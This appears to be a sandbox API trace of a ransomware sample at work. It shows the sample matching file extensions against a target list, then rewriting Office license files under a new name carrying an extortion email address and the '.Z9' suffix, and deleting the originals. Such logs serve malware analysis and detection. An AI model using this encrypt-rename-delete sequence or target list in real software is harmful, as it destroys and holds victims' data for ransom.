	[0172.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0172.941] lstrlenW (lpString=".zip") returned 4
	[0172.941] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0172.941] lstrlenW (lpString=".rar") returned 4
	[0172.942] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0172.942] lstrlenW (lpString=".bz2") returned 4
	[0172.942] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0172.942] lstrlenW (lpString=".7z") returned 3
	[0172.942] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0172.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0172.942] lstrlenW (lpString=".dbf") returned 4
	[0172.942] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0172.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0172.942] lstrlenW (lpString=".1cd") returned 4
	[0172.942] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0172.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0172.942] lstrlenW (lpString=".jpg") returned 4
	[0172.942] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0172.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0172.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0172.942] lstrlenW (lpString=".doc") returned 4
	[0172.942] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0172.942] lstrlenW (lpString=".docx") returned 5
	[0172.942] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0172.942] lstrlenW (lpString=".pdf") returned 4
	[0172.942] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0172.942] lstrlenW (lpString=".xls") returned 4
	[0172.942] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0172.942] lstrlenW (lpString=".xlsx") returned 5
	[0172.942] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0172.942] lstrlenW (lpString=".ppt") returned 4
	[0172.942] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0172.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0172.942] lstrlenW (lpString=".zip") returned 4
	[0172.942] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0172.942] lstrlenW (lpString=".rar") returned 4
	[0172.942] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0172.943] lstrlenW (lpString=".bz2") returned 4
	[0172.943] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0172.943] lstrlenW (lpString=".7z") returned 3
	[0172.943] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0172.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0172.943] lstrlenW (lpString=".dbf") returned 4
	[0172.943] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0172.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0172.943] lstrlenW (lpString=".1cd") returned 4
	[0172.943] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0172.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0172.943] lstrlenW (lpString=".jpg") returned 4
	[0172.943] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0172.943] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0172.943] lstrlenW (lpString="AccessR_Retail-ul-phn.xrm-ms") returned 28
	[0172.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.228] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=19924) returned 1
	[0173.228] CloseHandle (hObject=0x540) returned 1
	[0173.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 0x220
	[0173.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0174.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0174.427] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.427] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0174.428] GetLastError () returned 0x0
	[0174.428] ReadFile (in: hFile=0x520, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x4dd4, lpOverlapped=0x0) returned 1
	[0174.432] WriteFile (in: hFile=0x4a4, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0174.433] ReadFile (in: hFile=0x520, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.434] WriteFile (in: hFile=0x4a4, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0174.434] SetEndOfFile (hFile=0x4a4) returned 1
	[0174.439] CloseHandle (hObject=0x4a4) returned 1
	[0174.439] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.439] SetEndOfFile (hFile=0x520) returned 1
	[0174.454] CloseHandle (hObject=0x520) returned 1
	[0174.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 1
	[0175.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0175.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0175.955] lstrlenW (lpString=".doc") returned 4
	[0175.955] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.955] lstrlenW (lpString=".docx") returned 5
	[0175.955] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.955] lstrlenW (lpString=".pdf") returned 4
	[0175.955] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.955] lstrlenW (lpString=".xls") returned 4
	[0175.955] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.955] lstrlenW (lpString=".xlsx") returned 5
	[0175.955] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.955] lstrlenW (lpString=".ppt") returned 4
	[0175.955] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0175.955] lstrlenW (lpString=".zip") returned 4
	[0175.955] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.955] lstrlenW (lpString=".rar") returned 4
	[0175.955] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.955] lstrlenW (lpString=".bz2") returned 4
	[0175.955] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.955] lstrlenW (lpString=".7z") returned 3
	[0175.955] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0175.956] lstrlenW (lpString=".dbf") returned 4
	[0175.956] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0175.956] lstrlenW (lpString=".1cd") returned 4
	[0175.956] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0175.956] lstrlenW (lpString=".jpg") returned 4
	[0175.956] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0175.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0175.956] lstrlenW (lpString=".doc") returned 4
	[0175.956] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.956] lstrlenW (lpString=".docx") returned 5
	[0175.956] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.956] lstrlenW (lpString=".pdf") returned 4
	[0175.956] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.956] lstrlenW (lpString=".xls") returned 4
	[0175.956] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.956] lstrlenW (lpString=".xlsx") returned 5
	[0175.956] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.956] lstrlenW (lpString=".ppt") returned 4
	[0175.956] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0175.956] lstrlenW (lpString=".zip") returned 4
	[0175.956] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.956] lstrlenW (lpString=".rar") returned 4
	[0175.956] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.956] lstrlenW (lpString=".bz2") returned 4
	[0175.956] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString=".7z") returned 3
	[0175.957] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0175.957] lstrlenW (lpString=".dbf") returned 4
	[0175.957] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0175.957] lstrlenW (lpString=".1cd") returned 4
	[0175.957] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0175.957] lstrlenW (lpString=".jpg") returned 4
	[0175.957] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.957] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0175.957] lstrlenW (lpString="ExcelR_Retail-pl.xrm-ms") returned 23
	[0175.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0175.958] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10627) returned 1
	[0175.958] CloseHandle (hObject=0x3c8) returned 1
	[0175.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220
	[0175.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0175.960] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.960] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0175.961] GetLastError () returned 0x0
	[0175.961] ReadFile (in: hFile=0x3c8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2983, lpOverlapped=0x0) returned 1
	[0175.963] WriteFile (in: hFile=0x4a8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0175.965] ReadFile (in: hFile=0x3c8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.965] WriteFile (in: hFile=0x4a8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x102, lpOverlapped=0x0) returned 1
	[0175.965] SetEndOfFile (hFile=0x4a8) returned 1
	[0175.965] CloseHandle (hObject=0x4a8) returned 1
	[0175.965] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.965] SetEndOfFile (hFile=0x3c8) returned 1
	[0175.971] CloseHandle (hObject=0x3c8) returned 1
	[0175.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 1
	[0175.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0175.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0175.972] lstrlenW (lpString=".doc") returned 4
	[0175.972] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.972] lstrlenW (lpString=".docx") returned 5
	[0175.972] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.972] lstrlenW (lpString=".pdf") returned 4
	[0175.972] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.972] lstrlenW (lpString=".xls") returned 4
	[0175.972] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.972] lstrlenW (lpString=".xlsx") returned 5
	[0175.973] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.973] lstrlenW (lpString=".ppt") returned 4
	[0175.973] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0175.973] lstrlenW (lpString=".zip") returned 4
	[0175.973] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.973] lstrlenW (lpString=".rar") returned 4
	[0175.973] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.973] lstrlenW (lpString=".bz2") returned 4
	[0175.973] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.973] lstrlenW (lpString=".7z") returned 3
	[0175.973] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0175.973] lstrlenW (lpString=".dbf") returned 4
	[0175.973] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0175.973] lstrlenW (lpString=".1cd") returned 4
	[0175.973] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0175.973] lstrlenW (lpString=".jpg") returned 4
	[0175.973] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0175.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0175.973] lstrlenW (lpString=".doc") returned 4
	[0175.973] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.973] lstrlenW (lpString=".docx") returned 5
	[0175.973] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.973] lstrlenW (lpString=".pdf") returned 4
	[0175.973] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.973] lstrlenW (lpString=".xls") returned 4
	[0175.973] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.974] lstrlenW (lpString=".xlsx") returned 5
	[0175.974] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.974] lstrlenW (lpString=".ppt") returned 4
	[0175.974] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0175.974] lstrlenW (lpString=".zip") returned 4
	[0175.974] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.974] lstrlenW (lpString=".rar") returned 4
	[0175.974] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.974] lstrlenW (lpString=".bz2") returned 4
	[0175.974] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.974] lstrlenW (lpString=".7z") returned 3
	[0175.974] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0175.974] lstrlenW (lpString=".dbf") returned 4
	[0175.974] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0175.974] lstrlenW (lpString=".1cd") returned 4
	[0175.974] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0175.974] lstrlenW (lpString=".jpg") returned 4
	[0175.974] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.975] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0175.975] lstrlenW (lpString="ExcelR_Retail-ppd.xrm-ms") returned 24
	[0175.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0175.976] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=20844) returned 1
	[0175.976] CloseHandle (hObject=0x3c8) returned 1
	[0175.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220
	[0175.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0175.977] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.977] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0175.977] GetLastError () returned 0x0
	[0175.977] ReadFile (in: hFile=0x3c8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x516c, lpOverlapped=0x0) returned 1
	[0176.474] WriteFile (in: hFile=0x4a8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x5170, lpOverlapped=0x0) returned 1
	[0176.476] ReadFile (in: hFile=0x3c8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.476] WriteFile (in: hFile=0x4a8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x104, lpOverlapped=0x0) returned 1
	[0176.476] SetEndOfFile (hFile=0x4a8) returned 1
	[0176.476] CloseHandle (hObject=0x4a8) returned 1
	[0176.476] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.476] SetEndOfFile (hFile=0x3c8) returned 1
	[0176.480] CloseHandle (hObject=0x3c8) returned 1
	[0176.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0176.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 1
	[0177.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0177.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0177.140] lstrlenW (lpString=".doc") returned 4
	[0177.140] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.140] lstrlenW (lpString=".docx") returned 5
	[0177.140] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
